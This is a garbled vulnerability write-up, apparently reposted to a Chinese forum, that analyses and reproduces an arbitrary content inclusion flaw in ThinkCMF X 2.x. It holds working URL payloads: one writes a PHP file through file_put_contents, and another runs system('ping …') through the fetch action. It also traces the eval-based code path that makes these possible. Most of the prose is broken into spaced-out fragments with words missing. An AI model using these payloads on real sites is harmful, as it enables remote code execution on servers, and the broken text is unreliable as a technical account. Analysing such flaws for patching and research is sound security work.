[14777] 2019-11-04_ThinkCMFX任意内容包含漏洞分析复现

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2019-11-04_ThinkCMFX任意内容包含漏洞分析复现 T h i n k   C M F   X   _ M a s k   F r e e B u f   2 0 1 9 - 1 1 - 0 4 T h i n k C M F P H P + M Y S Q L T h i n k P H P 3 . 2 . 3 T h i n k C M F S N S T h i n k C M F   X 1 . 6 . 0 T h i n k C M F   X 2 . 1 . 0 T h i n k C M F   X 2 . 2 . 0 T h i n k C M F   X 2 . 2 . 1 T h i n k C M F   X 2 . 2 . 2 T h i n k C M F   X 2 . 2 . 3 2 . 2 . 0 t h i n k c m f x 2 . 2 . 0 0 x 0 1 p a y l o a d :   h t t p : / / l o c a l h o s t / t h i n k c m f x 2 2 0 / ? a = d i s p l a y & t e m p l a t e F i l e = R E A D M E . m d 0 x 0 2 p a y l o a d : ? a = f e t c h & t e m p l a t e F i l e = p u b l i c / i n d e x & p r e f i x = ' ' & c o n t e n t = f i l e _ p u t _ c o n t e n t s ( ' t e s t . p h p ' , ' < ? p h p   p h p i n f o ( ) ;   ? > ' )
t h i n k c m f x t e s t . p h p , 访 0 x 0 3 p y l o a d 2 d n s l o g 使 m v c m v c A p p : : e x e c ( ) p a y l o a d : ? a = f e t c h & c o n t e n t = < ? p h p   s y s t e m ( ' p i n g   x x x x x x ' ) ; ? >
. . . . . i n d e x . p h p a p p l i c a t i o n c o n t r o l l e r i n d e x . p h p i n d e x c o n t r o l l e r . c l a s s . p h p i n d e x ( ) d i s p l a y t h i n k c m f t i n k p h p t p g m a a P o r t a l I n d e x C o n t r o l l e r ( H o m e b a s e C o n t r o l l e r ) p u b l i c H o m e b a s e C o n t r o l l e r p u b l i c 访 h t t p : / / l o c a l h o s t / t h i n k c m f x 2 2 0 / i n d e x . p h p ? a = t e s t 1 访 p u b l i c H o m e b a s e C o n t r o l l e r d i s p l a y f e t c h p y a l o a d p a y l o a d 3 ? a = f e t c h & c o n t e n t = < ? p h p   s y s t e m ( ' p i n g   x x x x x x ' ) ; ? > f e t c h p u b l i c   f u n c t i o n   t e s t 1 ( ) {                 e c h o   ' h e l l o   a x i n ' ;                 d i e ( ) ;         }
p a y l o a d c o n t e n t $ t e m p l a t e F i l e $ c o n t e n t p h p f e t c h C o n t r o l l e r . c l a s s . p h p $ t h i s - > v i e w - > f e t c h , v i e w V i e w . c l a s s . p h p c o n t e n t i f . . . e l s e c o n t e n t e l s e i f . . . . e l s e i f ( ' p h p '   = =   s t r t o l o w e r ( C ( ' T M P L _ E N G I N E _ T Y P E ' ) ) )   {   / /   使 P H P                 e c h o   3 3 3 3 3 3 3 3 ;                   $ _ c o n t e n t       =       $ c o n t e n t ;                   / /                     e x t r a c t ( $ t h i s - > t V a r ,   E X T R _ O V E R W R I T E ) ;                   / /   P H P                   e m p t y ( $ _ c o n t e n t ) ? i n c l u d e   $ t e m p l a t e F i l e : e v a l ( ' ? > ' . $ _ c o n t e n t ) ;
访 3 3 3 3 3 3 3 3 o b s t a r t ( ) o b g e t _ c l e a n ( ) $ c o n t e n t e l s e H o o k : : l i s t e n ( ) t p H o o k : : l i s t e n r u n r u n t a g , t a g r u n t a g p h p s t o r m c t r l + s h i f t + f v i e w p a r s e t a g v i e w p a r s e v i e w p a r s e c o m m o n . p h p , v i e w p a r s e B e h a v i o r P a r s e T e m p l a t e B e h a v i o r                   e m p t y ( $ _ c o n t e n t ) ? i n c l u d e   $ t e m p l a t e F i l e : e v a l ( ' ? > ' . $ _ c o n t e n t ) ; } e l s e {         e c h o   4 4 4 4 4 4 4 4 4 ;         / /           $ p a r a m s   =   a r r a y ( ' v a r ' = > $ t h i s - > t V a r , ' f i l e ' = > $ t e m p l a t e F i l e , ' c o n t e n t ' = > $ c o n t e n t , ' p r e f i x ' = > $ p r e f i x ) ;         H o o k : : l i s t e n ( ' v i e w _ p a r s e ' , $ p a r a m s ) ; }
r u n t i p s : ( p h p s t o r m s h i f t ) i f 便 S t o r a g e : : l o a d ( ) 使 p h p s t o r m g o   t o p h p s t o r m l o a d S t o r a g e S t o r a g e
S t o r a g e l o a d l o a d ? _ c a l l s t a t i c l o a d c a l l u s e r f u n c a r r a y l o a d s e l f : : h a n d l e r l o a d ( F i l e . c l a s s . p h p 2 3 3 3 3 l o a d
c o n t e n t 西 线 c o n t e n t / d a t a / r u n t i m e / C a c h e / P o r t a l / S t o r a g e : : l o a d c o n t e n t C ( ' C A C H E P A T H ' ) . $ d a t a [ ' p r e f i x ' ] . m d 5 ( $ c o n t e n t ) . C ( ' T M P L C A C H F I L E _ S U F F I X ' ) l o a d F i l e . c l a s s . p h p l o a d s e t , w r i t e p u t / d a t a / r u n t i m e / C a c h e / P o r t a l / c a c h e p u t p u t T e m p l a t e . c l a s s . p h p p u t l o a d T e m p l a t e p u t l o a d T e m p l a t e f e t c h f e t c h , 2 3 3 3 3 , P a r s e T e m p l a t e B e h a v i o r . c l a s s . p h p S t o r a g e : : l o a d ( C ( ' C A C H E _ P A T H ' ) . $ _ d a t a [ ' p r e f i x ' ] . m d 5 ( $ _ c o n t e n t ) . C ( ' T M P L _ C A C H F I L E _ S U F F I X ' ) , $ _ d a t a [ ' v a r ' ] ) ;
P a r s e T e m p l a t e B e h a v i o r . c l a s s . p h p e l s e t e m p l a t e f e t c h e l s e _ M a s k e l s e , i f , e l s e e c h o   4 4 4 4 4 4 ; ? a = f e t c h & c o n t e n t = p h p i n f o 4 4 4 4 4 4 , e l s e c o n t e n t
c a c h e S t o r a g e : : l o a d c a c h e p a y l o a d * _ M a s k F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则